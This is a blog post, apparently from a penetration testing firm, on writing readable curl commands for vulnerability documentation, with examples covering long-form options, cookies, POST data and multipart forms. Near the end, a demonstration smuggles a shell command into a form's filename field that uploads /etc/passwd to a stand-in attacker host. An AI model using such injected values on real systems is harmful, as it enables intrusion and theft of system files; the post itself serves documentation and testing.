RedTeam Pentesting GmbH - Blog

4 March 2021

Wholesome curl Calls for Your Blog Posts

An important part of each penetration test is the documentation of all discovered vulnerabilities. The documentation often includes program calls to further demonstrate how a vulnerability was found, tested or exploited. To better visualise these steps in the context of web applications, we often include invocations of the command-line HTTP client curl. In the following, we discuss how program calls can be styled for documentation to appeal to all audiences.

You have probably seen some more or less cryptic curl program calls, included for example in blog posts, scripts, Dockerfiles or configuration files. The program calls often are formatted as one-liners that result in very long horizontal scroll bars. Sometimes the authors use abbreviated parameter names, making it hard to understand the meaning of arguments or options.

Truth be told: horizontal scrolling on a mobile device is not enjoyable. Neither is a lookup into the man page to check for the abbreviated parameter’s meanings. Therefore, one should strive to write program calls that are as self-explanatory and easy readable.

Consider Using Self-Explanatory Parameter Options

Quite often curl program calls contain abbreviated parameters like the following to not verify the TLS certificate of the remote host:

$ curl -k https://httpbin.org/status/301

To help your readers that might not be familiar with curl or the abbreviated program parameters just use the longer versions as these are in most cases self-explanatory:

$ curl --insecure https://httpbin.org/status/301

Minimise Horizontal Scrolling

Consider you craft a complex curl command that has the necessity to connect insecurely, suppresses its output except for response data, makes use of cookies and also includes URL parameters:

$ curl -k -s -H 'Cookie: auth=eyJpZCI6IjAiLCJuYW1lIjoiUmVkVGVhbSBQZW50ZXN0aW5nIn0;' 'https://httpbin.org/get?foo=1&bar=2' | jq .args

As you see, such a program call could become very long. Instead of putting everything in one line, try to separate arguments in different lines. This makes the usage of self-explanatory parameters even more valuable:

$ curl --insecure --silent \
--cookie 'auth=eyJpZCI6IjAiLCJuYW1lIjoiUmVkVGVhbSBQZW50ZXN0aW5nIn0' \
'https://httpbin.org/get?foo=1&bar=2' | jq .args

But what to do if your URL contains many parameters? One solution is to split the URL from the parameters like the following:

$ curl --insecure --silent \
--cookie 'auth=eyJpZCI6IjAiLCJuYW1lIjoiUmVkVGVhbSBQZW50ZXN0aW5nIn0' \
'https://httpbin.org/get'\
'?foo=1&bar=2' | jq .args

Another approach that curl supports is to define URL parameters as separate arguments. Note that for this to work, the option --get can be used. This declares that all data parameters curl uses per default for HTTP POST requests are now used as URL parameters for the specified request method:

$ curl --get \
--insecure --silent \
--cookie 'auth=eyJpZCI6IjAiLCJuYW1lIjoiUmVkVGVhbSBQZW50ZXN0aW5nIn0' \
--data 'foo=1' --data 'bar=2' \
'https://httpbin.org/get' | jq .args

Pretty Formatting for Cookies – And Other Surprises Along The Way

Depending on your audience, you want to write program calls that are more or less verbose. Sometimes, you also may not be aware of a better variant and stick to the parameters you are used to. The following example is seen quite often:

$ curl -H 'Cookie: example=AABBCC; auth=eyJpZCI6IjAiLCJuYW1lIjoiUmVkVGVhbSBQZW50ZXN0aW5nIn0;' https://httpbin.org/cookies

The usage of the -H parameter is not the only possible solution here as there is also a parameter for cookies. For readability reasons, multiple usage of the --cookie parameter is desired. However, at the time of writing this blog post it was not possible as per documentation multiple usages will overwrite the last one. We asked Daniel Stenberg (@bagder), the creator of curl, why this behaviour distinguishes from other parameters like the --data variants. He responded with the following:

It has worked like that since October 1998 when we originally created the option. Because nobody thought of making it different then or worked on changing it since.

To our great delight, Daniel Gustafsson (@d_gustafsson) which is also one of the curl authors, decided to create a pull request to change this behaviour! Thanks to him, in future versions of curl it will be possible to use multiple --cookie parameters as a more elegant solution:

$ curl --cookie 'example=AABBCC' \
--cookie 'auth=eyJpZCI6IjAiLCJuYW1lIjoiUmVkVGVhbSBQZW50ZXN0aW5nIn0' \
https://httpbin.org/cookies

As this happened quite recently, the release is not available yet or maybe not shipped in popular Linux distributions for now. Alternatively, string concatenation per shell can be used to separate cookies in multiple lines:

$ curl --cookie 'example=AABBCC;'\
'auth=eyJpZCI6IjAiLCJuYW1lIjoiUmVkVGVhbSBQZW50ZXN0aW5nIn0;' \
https://httpbin.org/cookies

Nevertheless, keep an eye out for new curl releases. 😉

Another option might be to first display a file containing a set of cookies, for example cookies.txt, which has a specific format according to the documentation:

$ cat cookies.txt
httpbin.org	FALSE	/	TRUE	0	example	AABBCC
httpbin.org	FALSE	/	TRUE	0	auth	eyJpZCI6IjAiLCJuYW1lIjoiUmVkVGVhbSBQZW50ZXN0aW5nIn0

Afterwards, you can use that file as an input for the cookie parameter:

$ curl --cookie cookies.txt https://httpbin.org/cookies

Enjoyable POST Requests

Next, we’ll have a closer look at HTTP POST requests. Let’s take the following example:

$ curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' -d 'example=1&input=2&path=%2Fetc%2Fpasswd' https://httpbin.org/post

Here, most of the parameters can be omitted as curl automatically assumes an HTTP POST request with the respective Content-Type for it. Furthermore, it is not necessary to define the parameter values URL-encoded, as curl offers a neat functionality for it. As a benefit the arguments are easier to read:

$ curl --data 'example=1' \
--data 'input=2' \
--data-urlencode 'path=/etc/passwd' \
https://httpbin.org/post

However, you still need to manually apply URL encoding for the name of a HTTP POST parameter if necessary. We opened a discussion thread for possible solutions at the curl GitHub page.

Depending on how familiar your readers are with curl, it might be of additional value to add the HTTP method used while not technically necessary:

$ curl --request POST \
--data 'example=1' \
--data 'input=2' \
--data-urlencode 'path=/etc/passwd' \
https://httpbin.org/post

This should be considered for every option that might give readers a benefit in understanding what the program call is all about.

About Forms

Finally, documenting file uploads or HTTP POST requests with the content type multipart/form-data is often very painful if directly copied from an attack proxy or somehow manually crafted for curl. For a more convenient usage the --form parameter is offered. An example request looks like the following:

$ curl --cookie 'auth=eyJpZCI6IjAiLCJuYW1lIjoiUmVkVGVhbSBQZW50ZXN0aW5nIn0' \
--form 'profile=@red.png;type=something/different;filename=testimage.png' \
--form 'example=1' \
--form 'auth=AABBCC' \
--form 'remark=<longtext.txt' \
 https://httpbin.org/post

As you see in the request, the characters @ and < have special meanings. The first one signals that a file should be treated as a file upload, the second one reads a file and pastes the contents into the respective form field. During penetration tests, especially the value of a filename parameter could be interesting to test for shell injection vulnerabilities. Therefore, such a vulnerability could be easily demonstrated with curl using the --form parameter without the need to build the whole multipart/form-data request manually:

$ curl --cookie 'auth=eyJpZCI6IjAiLCJuYW1lIjoiUmVkVGVhbSBQZW50ZXN0aW5nIn0' \
--form 'profile=@red.png;filename='\
'"test.png; curl --upload-file /etc/passwd https://attacker.example.com;"' \
 https://httpbin.org/post

As the attentive reader may have noticed, the < directive is not used for the example payload to exploit the shell injection to be read from a file because these two operators cannot be combined in one --form parameter value yet. Therefore, the injection is quoted and later concatenated in the shell. We also created a discussion for this at the curl GitHub page. Feel free to contribute to the discussion!

Final thoughts

This is just a rough outline of what is possible with curl program calls. Generally speaking, it should be the number one goal for you to write program calls that are easily readable and quickly understandable. The approach is not only useful for documentation during penetration tests or blog posts. If program calls are used in scripts or code, the usage of comprehensive calls might also help you in the long run.